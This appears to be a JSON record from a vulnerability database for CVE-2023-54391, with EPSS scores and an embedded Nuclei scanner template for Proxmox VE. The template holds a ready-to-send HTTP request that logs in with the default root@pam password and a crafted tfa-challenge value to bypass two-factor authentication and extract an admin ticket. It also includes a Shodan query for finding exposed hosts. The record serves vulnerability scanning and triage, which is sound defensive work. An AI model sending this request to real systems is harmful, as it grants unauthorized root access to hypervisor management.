{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-54391/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-54391/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-54391/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-54391/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-54391/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-54391"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-54391"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.01747,
      "kev": false,
      "percentile": 0.76832
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-54391.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2023-54391\n\ninfo:\n  name: Proxmox VE - Default Credentials with TFA Bypass\n  author: DhiyaneshDk,0x_Akoko\n  severity: critical\n  description: |\n    Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password \"root@pam\" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.\n  impact: |\n    Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.\n  remediation: |\n    Update to version 8.0.4 or later.\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"Proxmox\"\n  tags: cve,cve2023,proxmox,auth-bypass,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api2/json/access/ticket HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded;charset=UTF-8\n        Accept: application/json\n\n        username=root%40pam&password=root%40pam&tfa-challenge=NEBUSEC-CHALLENGE\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"data\"'\n          - '\"ticket\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: ticket\n        part: body\n        regex:\n          - '\"ticket\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4b0a00483046022100eede67d51e4d585bc9704d3f1db211f3a9f652fad913bf3c61f4fe387f3321c6022100a3d7d1aaffd38814578a8eb0b559e84bcd6bbfefb28a079bc555984b56b3830a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-54391"
}